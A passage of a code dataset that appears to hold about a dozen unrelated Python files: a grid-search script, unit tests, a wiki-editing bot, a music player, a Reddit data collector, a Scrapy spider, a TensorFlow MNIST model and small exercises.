print('neighbours:\\n', neighbours)\n print('unsampled neighbours:', unsampled_neighbours)\n # If only the corners of the 3x3 haven't been sampled and them\n # centre of neighbours is the max of the sampled neighbours,\n # sample the corners.\n condition1 = 0 < unsampled_neighbours <= 4\n centre = neighbours[1, 1]\n sampled_neighbours = neighbours[neighbours != np.inf]\n condition2 = centre == np.max(sampled_neighbours)\n if condition1 and condition2:\n if search_grid[lr_exp-1, wd_exp-1] == np.inf:\n iou = run_experiment(lr_exp=lr_exp-1, wd_exp=wd_exp-1)\n search_grid[lr_exp-1, wd_exp-1] = iou\n np.save(chkpnt_path, search_grid)\n elif search_grid[lr_exp-1, wd_exp+1] == np.inf:\n iou = run_experiment(lr_exp=lr_exp-1, wd_exp=wd_exp+1)\n search_grid[lr_exp-1, wd_exp+1] = iou\n np.save(chkpnt_path, search_grid)\n elif search_grid[lr_exp+1, wd_exp-1] == np.inf:\n iou = run_experiment(lr_exp=lr_exp+1, wd_exp=wd_exp-1)\n search_grid[lr_exp+1, wd_exp-1] = iou\n np.save(chkpnt_path, search_grid)\n elif search_grid[lr_exp+1, wd_exp+1] == np.inf:\n iou = run_experiment(lr_exp=lr_exp+1, wd_exp=wd_exp+1)\n search_grid[lr_exp+1, wd_exp+1] = iou\n np.save(chkpnt_path, search_grid)\n elif condition1 and not condition2:\n if search_grid[lr_exp-1, wd_exp-1] == np.max(sampled_neighbours):\n lr_exp -= 1\n wd_exp -= 1\n elif search_grid[lr_exp-1, wd_exp+1] == np.max(sampled_neighbours):\n lr_exp -= 1\n wd_exp += 1\n elif search_grid[lr_exp+1, wd_exp-1] == np.max(sampled_neighbours):\n lr_exp += 1\n wd_exp -= 1\n elif search_grid[lr_exp+1, wd_exp+1] == np.max(sampled_neighbours):\n lr_exp += 1\n wd_exp += 1\n # If 3x3 region is populated but the max isn't in the centre,\n # I need to write some more code.\n elif (unsampled_neighbours == 0 and\n neighbours[1, 1] != np.max(neighbours)):\n raise Exception(\"Cross-validation code is broken...\")\n # While loop broken\n print('Cross validation complete')\n print('{} locations sampled'.format((search_grid != np.inf).sum()))\n print('sp: {}, lr: {}, wd: {}'.format(sp_level, lr_exp, wd_exp))\n final_chkpnt_path = os.path.join(\n 'vals',\n cfg['training']['loss']['name'],\n 'cross_validation_final_{}_{}.npy'.format(\n cfg['training']['loss']['name'],\n sp_level\n )\n )\n np.save(final_chkpnt_path, search_grid)\n export_path = os.path.join(\n 'vals',\n cfg['training']['loss']['name'],\n 'cross_validation_final_{}_{}.csv'.format(\n cfg['training']['loss']['name'],\n sp_level\n )\n )\n np.savetxt(export_path, search_grid, delimiter=\",\")\n print('peak iou this experiment: {}\\n'.format(neighbours.max()))\n","sub_path":"big_validate.py","file_name":"big_validate.py","file_ext":"py","file_size_in_byte":11367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"626511021","text":"import unittest\nfrom re import (match, fullmatch,VERBOSE, compile, sub as substitute)\nfrom Model.RomanValue import RomanValue as dataValidation\nfrom typing import (\n Dict,\n List,\n Tuple,\n Set, \n NamedTuple,\n IO,\n Pattern,\n Match,\n Text,\n Optional,\n Sequence,\n Iterable,\n Mapping,\n MutableMapping,\n Any,\n)\n\nclass Test_ArabicValue(unittest.TestCase): \n #def test_isNotString(self)-> None:\n # testValue:int = 10000 \n # with self.assertRaises(TypeError): ab(testValue)\n\n def test_isEmpty(self)-> None:\n testValue:str = \"\"\n with self.assertRaises(TypeError): dataValidation(testValue)\n \n def test_isInvalidCode(self)-> None:\n testValue:str = \"XZE\" \n with self.assertRaises(TypeError): dataValidation(testValue)\n\n def test_isValidCode(self)-> None:\n testValue:str = \"MC\"\n ob:dataValidation = dataValidation(testValue)\n self.assertEquals(testValue, ob.getValue,\"MD\")\n\n def test_isValidCode_IX(self)-> None:\n testValue:str = \"IX\"\n ob:dataValidation = dataValidation(testValue)\n self.assertEquals(testValue, ob.getValue,\"IX\")\n\n def test_isValidCode_CD(self)-> None:\n testValue:str = \"CD\"\n ob:dataValidation = dataValidation(testValue)\n self.assertEquals(testValue, ob.getValue,\"CD\")\n def test_match(self)->None:\n pattern_match:Optional[Match[str]] = match(r'^(CM)', 'CMXXXIV')\n #r\"^(%s)+\" % \n count:int = len(pattern_match.group())\n self.assertEquals(2, count,\"Pattern Match\")\n\n\n def test_fullmatch(self)->None:\n\n result:bool \n if match(compile(\n '''\n Ⅿ* \n ⅭⅯ|ⅭⅮ|Ⅾ?Ⅽ{0,3} \n ⅩⅭ|ⅩⅬ|Ⅼ?Ⅹ{0,3}\n Ⅸ|Ⅳ|Ⅴ?Ⅰ{0,3} \n ''',\n VERBOSE),'MC') is None:\n result=False\n else:\n result=True\n\n \n self.assertEquals(result, True,\"MC match\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"Converter/Converter/Testing/Test_ArabicValue.py","file_name":"Test_ArabicValue.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"303517608","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport pywikibot, re, sys, argparse\n\nimport blib\nfrom blib import getparam, rmparam, msg, site, tname\n\nlangs_to_convert = {\n \"yue\": \"zh\",\n \"cmn\": \"zh\",\n \"hak\": \"zh\",\n}\n\nlangs_to_remove_sort = {\n \"zh\", \"vi\",\n}\n\ndef process_page(page, index, parsed):\n pagetitle = str(page.title())\n def pagemsg(txt):\n msg(\"Page %s %s: %s\" % (index, pagetitle, txt))\n\n pagemsg(\"Processing\")\n notes = []\n\n for t in parsed.filter_templates():\n origt = str(t)\n tn = tname(t)\n if tn == \"rfdef\":\n if getparam(t, \"lang\"):\n pagemsg(\"WARNING: has lang=, skipping: %s\" % str(t))\n continue\n lang = getparam(t, \"1\")\n if lang in langs_to_convert:\n newlang = langs_to_convert[lang]\n t.add(\"1\", newlang)\n notes.append(\"convert {{rfdef|%s}} to {{rfdef|%s}}\" % (lang, newlang))\n lang = newlang\n if lang in langs_to_remove_sort:\n if t.has(\"sort\"):\n rmparam(t, \"sort\")\n notes.append(\"remove sort= from {{rfdef|%s}}, now auto-computed\" % lang)\n if str(t) != origt:\n pagemsg(\"Replaced <%s> with <%s>\" % (origt, str(t)))\n\n return str(parsed), notes\n\nparser = blib.create_argparser(\"Remove sort= from Asian-language {{rfdef}} and unify Chinese varieties\", include_pagefile=True)\nargs = parser.parse_args()\nstart, end = blib.parse_start_end(args.start, args.end)\n\nblib.do_pagefile_cats_refs(args, start, end, process_page, edit=True,\n default_refs=[\"Template:rfdef\"]\n)\n","sub_path":"remove_sort_from_rfdef.py","file_name":"remove_sort_from_rfdef.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"31121551","text":"from pygame import mixer\n\n# Starting the mixer\nmixer.init()\n\n# Loading the song\nmixer.music.load(\"Virah.mp3\")\n\n# Setting the volume\nmixer.music.set_volume(0.1)\n\n# Start playing the song\n#mixer.music.set_pos(45)\nmixer.music.play(-1) # play(-1) for infinite loop\n\nprint(\"To Pause press p - \\nTo Resume press r - \\nTo Exit press e \")\n\nwhile True:\n query = input()\n\n # Pausing the music\n if query =='p':\n print(\"Paused.\")\n mixer.music.pause()\n\n #Resuming the music\n elif query =='r':\n print(\"Resuming...\")\n mixer.music.unpause()\n\n #Stop the music\n elif query =='e':\n print(\"Exit\")\n mixer.music.stop()\n break\n","sub_path":"Play Music.py","file_name":"Play Music.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"587175418","text":"import sys\n\n\nn = int(input().strip())\narr = [int(arr_temp) for arr_temp in input().strip().split(' ')]\ni = n - 1\nreversed_str = \"\"\nwhile i > - 1 :\n str_item = \"\"\n if i == n - 1:\n str_item += str(arr[i])\n else:\n str_item += (\" \" + str(arr[i]))\n \n \n reversed_str += str_item\n i -= 1\n\nprint (reversed_str)","sub_path":"01.30_Days_of_Code /Day7_Array.py","file_name":"Day7_Array.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"584612196","text":"class Classy():\n def __init__(self):\n self.items = []\n\n #This function adds the item to the items list.\n def fancy(self,item):\n self.items.append(item)\n # return (self.items)\n #This function gets the classiness.\n def get_classiness(self):\n classiness = 0\n for stuff in range (len(self.items)):\n if self.items[stuff].lower() == \"tophat\":\n classiness +=2\n elif self.items[stuff].lower() == \"bowtie\":\n classiness +=4\n elif self.items[stuff].lower() == \"monocle\":\n classiness +=5\n else:\n classiness +=0\n\n return classiness\n\n\n\n\n\nme = Classy()\nprint(me.get_classiness())\nme.fancy('mat')\nme.fancy('Tophat')\nprint(me.get_classiness())\nme.fancy('bowtie')\nme.fancy('MoNOcle')\nme.fancy(\"fan\")\nprint(me.get_classiness())\n\n\n\n","sub_path":"AD2.py","file_name":"AD2.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"320656962","text":"'''\r\nget_reddit_data.py\r\n\r\nCollect Reddit submissions from a subreddit, within a given time frame.\r\n\r\nUses requests and Pushshift.io to collect Reddit submission IDs,\r\nand PRAW to get the content (submission text and comments) from the\r\nReddit API using those IDs. The content is then stored in an SQLite database. \r\n\r\nTo connect to the Reddit API via PRAW, it is necessary to provide oAuth2 credentials.\r\nSee Reddit's documentation on how to set up these credentials:\r\nhttps://github.com/reddit-archive/reddit/wiki/OAuth2-Quick-Start-Example#first-steps.\r\n\r\nAlso, the user agent name provided with the oAuth2 credentials should be a unique name.\r\nSee this link for suggestions on creating a user agent name:\r\nhttps://github.com/reddit-archive/reddit/wiki/API.\r\n\r\nThis code is based on Dylan Kilkenny's PushShift.py and Stéphane Couture's Reddit_mining.py:\r\nhttps://gist.github.com/dylankilkenny/3dbf6123527260165f8c5c3bc3ee331b\r\nhttps://github.com/stephcouture/RedditMining\r\n'''\r\n\r\nimport argparse\r\nimport calendar\r\nimport json\r\nimport logging\r\nimport pprint\r\nimport praw\r\nimport requests\r\nimport sqlite3\r\nimport sys\r\nimport time\r\n\r\nfrom argparse import RawTextHelpFormatter\r\nfrom datetime import datetime\r\n\r\n# Define and parse command-line arguments\r\n# Returns: ArgumentParser object containing parsed command-line arguments\r\ndef getArgs():\r\n\targparser = argparse.ArgumentParser(description=\r\n\"Collect Reddit submissions from a subreddit, within a given time frame.\\n\\\r\nYou must provide client authentication credentials for the Reddit API,\\neither in a text file or as command line arguments.\\n\\n\\\r\nThe authentication text file should have this format (replace xyzxyz1,\\nxyzxyz2 and MyAppName with proper values):\\n\\n\\\r\n\tClientId: xyzxyz1\\n\\\r\n\tClientSecret: xyzxyz2\\n\\\r\n\tClientName: MyAppName\",\r\n\tformatter_class=RawTextHelpFormatter)\r\n\r\n\targparser.add_argument(\"-c\", \"--clientFile\", help=\"Reddit client authentication file\") \r\n\targparser.add_argument(\"-ci\", \"--clientId\", help=\"Reddit client ID\")\r\n\targparser.add_argument(\"-cs\", \"--clientSecret\", help=\"Reddit client secret\")\r\n\targparser.add_argument(\"-cn\", \"--clientName\", help=\"Reddit client name (user agent)\")\r\n\targparser.add_argument(\"-sub\", \"--subreddit\", help=\"Subreddit name (not URL)\", required=True)\r\n\targparser.add_argument(\"-s\", \"--start\", help=\"Start date of submissions (in YYYY-MM-DD format)\", required=True)\r\n\targparser.add_argument(\"-e\", \"--end\", help=\"End date of submissions (in YYYY-MM-DD format)\", required=True)\r\n\targparser.add_argument(\"dbFile\", help=\"SQLite database of Reddit submissions\")\r\n\r\n\t# Parse command line arguments\r\n\targs = argparser.parse_args()\r\n\t\r\n\treturn args\r\n\r\n'''\r\nConfigure the logger\r\n'''\r\ndef configureLogger(args):\r\n\tlogging.basicConfig(level=logging.INFO)\r\n\tlogger = logging.getLogger(__name__)\r\n\r\n\t# Create a file handler\r\n\thandler = logging.FileHandler(args.dbFile + \".log\")\r\n\thandler.setLevel(logging.INFO)\r\n\t\r\n\t# Create the logging format\r\n\tformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\r\n\thandler.setFormatter(formatter)\r\n\r\n\t# add the handlers to the logger\r\n\tlogger.addHandler(handler)\r\n\t\r\n\treturn logger\r\n\r\n# Ensure that we have the full set of client authentication fields\r\ndef getClientAuthenticationArgs(args, logger):\r\n\tclientId = None\r\n\tclientSecret = None\r\n\tclientName = None\r\n\tif args.clientFile:\r\n\t\tclientData = readClientData(args.clientFile)\r\n\t\ttry:\r\n\t\t\tclientId = clientData['ClientId']\r\n\t\t\tclientSecret = clientData['ClientSecret']\r\n\t\t\tclientName = clientData['ClientName']\r\n\t\texcept KeyError as error:\r\n\t\t\tlogger.error('Could not find value for', error, 'in text file', args.clientFile)\r\n\t\t\tsys.exit()\r\n\telse:\r\n\t\tif args.clientId is None and args.clientSecret is None and args.clientName is None:\r\n\t\t\tprint('Please specify either -c or all three of -ci, -cs, -cn for Reddit OAuth2 authentication')\r\n\t\t\tsys.exit()\r\n\t\telse:\r\n\t\t\tclientId = args.clientId\r\n\t\t\tclientSecret = args.clientSecret\r\n\t\t\tclientName = args.clientName\r\n\t\t\tif clientId is None:\r\n\t\t\t\tprint('Please provide -ci (clientId) for Reddit OAuth2 authentication')\r\n\t\t\t\tsys.exit()\r\n\t\t\tif clientSecret is None:\r\n\t\t\t\tprint('Please provide -cs (clientSecret) for Reddit OAuth2 authentication')\r\n\t\t\t\tsys.exit()\r\n\t\t\tif clientName is None:\r\n\t\t\t\tprint('Please provide -cn (clientName) for Reddit OAuth2 authentication')\r\n\t\t\t\tsys.exit()\r\n\treturn clientId, clientSecret, clientName\r\n\r\n'''\r\nRead Reddit OAuth2 client authentication data from a text file\r\n\r\nParameter:\r\nfilename = Name of the text file\r\n'''\r\ndef readClientData(filename):\r\n\tclientData = {}\r\n\tfile = None\r\n\ttry:\r\n\t\tfile = open(filename, 'r')\r\n\t\tfor line in file:\r\n\t\t\tsplit = line.split(':')\r\n\t\t\tclientData[split[0].strip()] = split[1].strip()\r\n\tfinally:\r\n\t\tif file:\r\n\t\t\tfile.close()\r\n\treturn clientData\r\n\r\n'''\r\nGet Reddit submissions from pushshift.io for a given subreddit and date range, up to 1000 IDs\r\n\r\nParameters:\r\nstart = start of date range, as epoch time\r\nend = end of date range, as epoch time\r\nsub = name of subreddit\r\n\r\nReturns:\r\nThe PushShift data as a dictionary\r\n'''\r\ndef getPushshiftData(start, end, sub):\r\n\tprint('Getting PushShift data for dates from', epochToDateTime(start), 'to', epochToDateTime(end))\r\n\turl = 'https://api.pushshift.io/reddit/search/submission?&size=1000&after=' + str(start) + '&before=' + str(end) + '&subreddit=' + str(sub)\r\n\tr = requests.get(url)\r\n\tdata = json.loads(r.text)\r\n\treturn data['data']\r\n\r\n# Convert from Epoch time to a human-readable date & time\r\ndef epochToDateTime(epochTime):\r\n\t#return datetime.datetime.fromtimestamp(epochTime).strftime('%c') # Gives date in this format: Mon May 28 20:21:55 2018\r\n\treturn time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(epochTime)) # Gives date in this format: 2018-05-28 20:21:55\r\n\r\n# Print a submission and its comments, for debugging purposes\r\ndef printSubmission(submission):\r\n\t#pprint.pprint(vars(submission))\r\n\tprint(submission.title)\r\n\tprint(submission.id) # Reddit unique ID (see https://www.reddit.com/dev/api#fullnames)\r\n\tprint(epochToDateTime(submission.created)) # UTC date & time\r\n\tprint(submission.score)\r\n\tprint(submission.shortlink) # https://redd.it/id will open the original submission\r\n\tprint(submission.num_comments)\r\n\t\r\n\tfor comment in submission.comments.list():\r\n\t\tif comment.author:\r\n\t\t\tauthorName = comment.author.name\r\n\t\telse:\r\n\t\t\tauthorName = None\r\n\t\tif authorName is None:\r\n\t\t\tauthorName = 'None'\r\n\t\t#print('\\nID:', comment.parent_id, '-', comment.id, 'Time:', epochToDateTime(comment.created), 'Author:', authorName , 'Comment:', comment.body)\r\n\t\tpprint.pprint(vars(comment))\r\n\r\n'''\r\nInsert a submission and its comments into the database. This function does not commit the insertion.\r\n\r\nParameters:\r\ndbCursor - database cursor\r\nsubmission - praw.models.Submission object\r\n'''\r\ndef insertIntoDatabase(dbCursor, submission):\r\n\t# Insert submission data in the database\r\n\tdbCursor.execute(\"INSERT INTO submission (Title, Submission_id, User, Timestamp, Body) \\\r\n\t\tVALUES (?,?,?,?,?)\",\r\n\t\t(submission.title,\r\n\t\tsubmission.id,\r\n\t\t\"None\" if submission.author is None else submission.author.name,\r\n\t\tsubmission.created,\r\n\t\tsubmission.selftext))\r\n\t\r\n\t# Get the top comments for a specific submission, and ensure the MoreComments links within the\r\n\t# comment tree are replaced with content (note: each replacement makes a network request;\r\n\t# when the limit is set to 0, there's a max of 32 replacements) \r\n\tsubmission.comments.replace_more(limit=0)\r\n\tcomments = []\r\n\tfor comment in submission.comments.list():\r\n\t\t# Put the comments in the database\r\n\t\tcomments.append((\r\n\t\t\tsubmission.id,\r\n\t\t\tcomment.id,\r\n\t\t\tcomment.parent_id,\r\n\t\t\tcomment.created,\r\n\t\t\t\"None\" if comment.author is None else comment.author.name,\r\n\t\t\tcomment.body))\r\n\r\n\tif len(comments) > 0:\r\n\t\tdbCursor.executemany(\r\n\t\t\t\"INSERT INTO comment (submission_id, Comment_id, Parent_id, Timestamp, User, Body) VALUES (?,?,?,?,?,?)\",\r\n\t\t\tcomments)\r\n\t\r\n'''\r\nMain program\r\n'''\r\ndef main():\r\n\t# Get the command line arguments & validate\t\r\n\targs = getArgs()\r\n\t\r\n\t# Set up the logger\r\n\tlogger = configureLogger(args)\r\n\t\r\n\t# Authenticate our Reddit credentials\r\n\tclientId, clientSecret, clientName = getClientAuthenticationArgs(args, logger)\r\n\r\n\t# Log script start time\r\n\tscriptStart = datetime.now()\r\n\tlogger.info(sys.argv)\r\n\tlogger.info('Script started at {}'.format(scriptStart))\r\n\r\n\tsubmissionIds = []\r\n\tdbConnection = None\r\n\r\n\ttry:\r\n\t\t# Open or create the database \r\n\t\tdbConnection = sqlite3.connect(args.dbFile)\r\n\t\tdbCursor = dbConnection.cursor()\r\n\t\t\r\n\t\t# Create the submission and comment tables, if they do not exist\r\n\t\tdbCursor.execute(\"CREATE TABLE IF NOT EXISTS submission (Title text, Submission_id string, User string, Timestamp integer, Body text)\")\r\n\t\tdbCursor.execute(\"CREATE TABLE IF NOT EXISTS comment (submission_id integer, Comment_id string, Parent_id string, Timestamp integer, User string, Body text)\")\r\n\t\tdbConnection.commit() \r\n\t\t\r\n\t\t# Convert dates to Unix timestamps (epoch time)\r\n\t\tstartEpoch = calendar.timegm(time.strptime(args.start, '%Y-%m-%d'))\r\n\t\tendEpoch = calendar.timegm(time.strptime(args.end + ' 23:59:59', '%Y-%m-%d %H:%M:%S'))\r\n\t\r\n\t\t# Get the first 1000 records in the time range from PushShift.io\t\r\n\t\tdata = getPushshiftData(startEpoch, endEpoch, args.subreddit)\r\n\t\t\r\n\t\t# Run until all posts have been gathered from the start date until the end date,\r\n\t\t# saving the submissions IDs in an array\r\n\t\twhile len(data) > 0:\r\n\t\t\t# Collect the submission IDs\r\n\t\t\tfor submission in data:\r\n\t\t\t\tsubmissionIds.append(submission[\"id\"])\r\n\t\t\t# Call getPushshiftData() with the creation date of the last submission\r\n\t\t\tdata = getPushshiftData(data[-1]['created_utc'], endEpoch, args.subreddit)\r\n\t\r\n\t\t# TODO: check if any of the submission IDs are already in the database;\r\n\t\t# if they are, don't retrieve those records - remove them from the list of IDs\r\n\t\t\r\n\t\t# Get the Reddit instance\r\n\t\treddit = praw.Reddit(client_id=clientId, client_secret=clientSecret, user_agent=clientName)\r\n\t\t\r\n\t\tcount = 0\r\n\t\ttotalSubmissionIds = len(submissionIds)\r\n\t\tlogger.info('Found {} submission IDs. Using PRAW to retrieve content and comments.'.format(totalSubmissionIds))\r\n\t\tlogger.info('Estimated time to complete: from {} to {} minutes.'.format(int(totalSubmissionIds/260), int(totalSubmissionIds/60)))\r\n\t\t\r\n\t\t# Loop through submission IDs to get the submissions and comments and insert into database\r\n\t\tfor submissionId in submissionIds:\r\n\t\t\tsubmission = reddit.submission(id=submissionId)\r\n\t\t\tinsertIntoDatabase(dbCursor, submission)\r\n\t\t\t# Show % progress - displayed on console only\r\n\t\t\tprint('Progress:', int(100*count/totalSubmissionIds), '%', end=\"\\r\")\r\n\t\t\tcount = count + 1\r\n\r\n\t\t# Commit changes to database\r\n\t\tif len(submissionIds) > 0:\r\n\t\t\t# Show % progress - displayed on console only\r\n\t\t\tprint('Progress: 100%', end=\"\\r\")\r\n\t\t\tdbConnection.commit()\r\n\r\n\tfinally:\r\n\t\tif dbConnection:\r\n\t\t\tdbConnection.close()\r\n\t\t\r\n\t\tscriptEnd = datetime.now()\r\n\t\tlogger.info('Script ended at {}'.format(scriptEnd))\r\n\t\telapsedTime = scriptEnd - scriptStart\r\n\t\tseconds = elapsedTime.total_seconds()\r\n\t\thours, remainder = divmod(seconds, 3600)\r\n\t\tminutes, seconds = divmod(remainder, 60)\r\n\t\tlogger.info('Elapsed time: {} h, {} m, {} s'.format(hours, minutes, seconds))\r\n\r\nif __name__ == \"__main__\":\r\n\tmain()\r\n","sub_path":"reddit/get_reddit_data.py","file_name":"get_reddit_data.py","file_ext":"py","file_size_in_byte":11253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"431343697","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom mishibox.items import MishiboxItem\n\n\nclass GetmetadatafromproductSpider(scrapy.Spider):\n name = 'getmetadatafromproduct'\n allowed_domains = []\n start_urls = []\n read_urls = open('producturls.csv', 'r')\n for url in read_urls.readlines():\n url = url.strip() \n allowed_domains = allowed_domains + [url[4:]]\n start_urls = start_urls + [url]\n read_urls.close()\n\n def parse(self, response):\n items = MishiboxItem()\n producturl = response.request.url\n price = response.xpath('//p[@class=\"modal_price\"]//span[@class=\"money\"]/text()').extract_first()\n productname = response.xpath('//h1[@class=\"product_name\"]/text()').extract()\n invcount = response.xpath('//script[@data-app=\"esc-out-of-stock\"]/text()').re_first(r'\"inventory_quantity\":([{a-zA-Z0-9]+)')\n productcolor = response.xpath('//div[@class=\"select\"]//option[@selected=\"selected\"]/text()').extract_first()\n prodcategory = response.xpath('//p/span[@itemprop=\"category\"]/a/@href').extract()\n items['productname'] = ''.join(productname).strip() if productname else None\n items['price'] = ''.join(price).strip() if price else None \n items['invcount'] = ''.join(invcount).strip() if invcount else None\n items['producturl'] = ''.join(producturl).strip() if producturl else None\n items['productcolor'] = ''.join(productcolor).strip() if productcolor else None\n items['prodcategory'] = ''.join(prodcategory).strip() if prodcategory else None\n\n yield items","sub_path":"mishibox/mishibox/spiders/getmetadatafromproduct.py","file_name":"getmetadatafromproduct.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"377880984","text":"import tensorflow as tf\nimport mnist_input\n\nFLAGS = tf.app.flags.FLAGS\nNUM_CLASSES = mnist_input.NUM_CLASSES\n\ndo_print = True\n\ndef _flatten(input_):\n if(do_print):\n print(input_)\n \n # Move everything into depth so we can perform a single matrix multiply.\n reshape = tf.reshape(input_, [FLAGS.batch_size, -1])\n dim = reshape.get_shape()[1].value\n \n return reshape, dim\n\ndef parametric_relu(_x):\n alphas = tf.get_variable('alpha', _x.get_shape()[-1],\n initializer=tf.constant_initializer(0.0), dtype=tf.float32)\n pos = tf.nn.relu(_x)\n neg = alphas * (_x - abs(_x)) * 0.5\n return pos + neg\n\ndef do_fc_norm(scope_name, input_, n_ip, n_op, stdVal=0.01, wt_d=0.0, biasVal=0.0, isBias=True, isBN=False, isTrain=True):\n if(do_print):\n print(input_)\n \n with tf.variable_scope(scope_name) as scope:\n weights = _variable_with_weight_decay('weights', shape=[n_ip, n_op], wd=wt_d)\n weights_norm = tf.nn.l2_normalize(weights,dim=0)\n fc_op = tf.matmul(input_, weights_norm) \n return fc_op\n\ndef do_fc(scope_name, input_, n_ip, n_op, stdVal=0.01, wt_d=0.0, biasVal=0.0, isBias=True, isBN=False, isTrain=True):\n if(do_print):\n print(input_)\n \n with tf.variable_scope(scope_name) as scope:\n weights = _variable_with_weight_decay('weights', shape=[n_ip, n_op], wd=wt_d)\n if(isBias):\n biases = _variable_on_cpu('biases', [n_op], tf.constant_initializer(biasVal))\n fc_op = tf.matmul(input_, weights) + biases\n else:\n fc_op = tf.matmul(input_, weights)\n \n if(isBN):\n # Batch Normalization \n fc_op = tf.contrib.layers.batch_norm(fc_op, is_training=isTrain, \n scale=True, updates_collections=None,\n variables_collections=[\"BN_NT_VC\"])\n \n return fc_op\n\ndef do_convolution(input_, k_size, n_in, n_op, w_d=0.0):\n kernel = _variable_with_weight_decay('weights', shape=[k_size, k_size, n_in, n_op], wd=w_d)\n print(input_)\n conv = tf.nn.conv2d(input_, kernel, [1, 1, 1, 1], padding='SAME')\n print(conv)\n \n biases = _variable_on_cpu('biases', [n_op], tf.contrib.layers.xavier_initializer())\n conv_op = tf.nn.bias_add(conv, biases)\n \n return conv_op\n\ndef do_conv_act(scope_name, input_, k_size, n_in, n_op, wt_d=0.0):\n with tf.variable_scope(scope_name) as scope:\n # conv_op\n conv_op = do_convolution(input_, k_size, n_in, n_op, w_d=wt_d) \n\n # Activation: Parametric ReLU\n act_conv = parametric_relu(conv_op) \n return act_conv\n\ndef _variable_on_cpu(name, shape, initializer):\n with tf.device('/cpu:0'):\n dtype = tf.float16 if FLAGS.use_fp16 else tf.float32\n var = tf.get_variable(name, shape, initializer=initializer, dtype=dtype)\n return var\n\n\ndef _variable_with_weight_decay(name, shape, wd):\n dtype = tf.float16 if FLAGS.use_fp16 else tf.float32\n var = _variable_on_cpu(name, shape, tf.contrib.layers.xavier_initializer())\n if wd is not None:\n weight_decay = tf.multiply(tf.nn.l2_loss(var), wd, name='weight_loss')\n tf.add_to_collection('losses', weight_decay)\n return var\n\ndef compute_cnn_features(images, isTrain=True, toClassify=True):\n # conv-pool-1\n conv1_1 = do_conv_act('conv1_1', images, 5, 1, 32)\n conv1_2 = do_conv_act('conv1_2', conv1_1, 5, 32, 32)\n pool1 = tf.nn.max_pool(conv1_2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME', name='pool1')\n \n # conv-pool-2\n conv2_1 = do_conv_act('conv2_1', pool1, 5, 32, 64)\n conv2_2 = do_conv_act('conv2_2', conv2_1, 5, 64, 64)\n pool2 = tf.nn.max_pool(conv2_2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME', name='pool2')\n \n # conv-pool-3\n conv3_1 = do_conv_act('conv3_1', pool2, 5, 64, 128)\n conv3_2 = do_conv_act('conv3_2', conv3_1, 5, 128, 128)\n pool3 = tf.nn.max_pool(conv3_2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME', name='pool3')\n \n # flatten\n flat_conv, ftDim = _flatten(pool3)\n \n # FC-1 with 512 neurons\n fc_neurons = 3\n features = do_fc('fc_1', flat_conv, ftDim, fc_neurons, stdVal=0.05, wt_d=0.0005, isBias=True, isTrain=isTrain)\n # features = parametric_relu(fc1)\t \n\n return features, fc_neurons\t\n\ndef inference(images, isTrain=True, toClassify=True):\n # Get features from basic CNN model\n features, ft_dim =compute_cnn_features(images, isTrain=isTrain, toClassify=toClassify) \n \n # unit normalized\n features = tf.nn.l2_normalize(features,dim=1)\n kappa = tf.get_variable('kappa', dtype=tf.float32, initializer=tf.constant(1.22), trainable=True)\n features = tf.multiply(kappa, features, name='kappa_x')\n \t\n if toClassify:\n # FC\n softmax_id = do_fc_norm('vMFML', features, ft_dim, NUM_CLASSES, wt_d=0.0005, biasVal=0.0, isTrain=isTrain)\n if(do_print):\n print(softmax_id)\n\n return softmax_id, features, kappa\n else:\n return features\n\ndef loss_L2(): \n l2Loss = tf.add_n(tf.get_collection('losses'), name='total_loss')\n return l2Loss\n\ndef loss_softmax(logits, labels):\n # Calculate the average cross entropy loss across the batch.\n labels = tf.cast(labels, tf.int64)\n \n cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(\n logits=logits, labels=labels, name='cross_entropy_per_example')\n \n ent_loss = tf.reduce_mean(cross_entropy, name='entropy_loss')\n \n tf.add_to_collection('losses', ent_loss)\n \n return ent_loss\n\ndef loss_total():\n # The total loss is defined as the sum of all losses\n return tf.add_n(tf.get_collection('losses'), name='total_loss')\n","sub_path":"cnn/cnn_tf_mnist/mnist_vmfml_xavier.py","file_name":"mnist_vmfml_xavier.py","file_ext":"py","file_size_in_byte":5644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"569418666","text":"import csv\n\nfile_data = open(\"legislators.csv\", \"r\")\nlegislators = list(csv.reader(file_data))\nfor row in legislators:\n birthday = row[2]\n birth_year = birthday.split(\"-\")[0]\n try:\n birth_year = int(birth_year)\n except Exception:\n birth_year = 0\n row.append(birth_year) #appends birthyear at the end of each record.\nprint(legislators)\n","sub_path":"part_2/Error Handling/ConvertBirthYearstoIntegers.py","file_name":"ConvertBirthYearstoIntegers.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"297915247","text":"def findEmptyCell(arr):\n cell = [-1,-1]\n for i in range(9):\n for j in range(9):\n if arr[i][j] == 0:\n cell[0] = i\n cell[1] = j\n return cell\n return cell\n\ndef 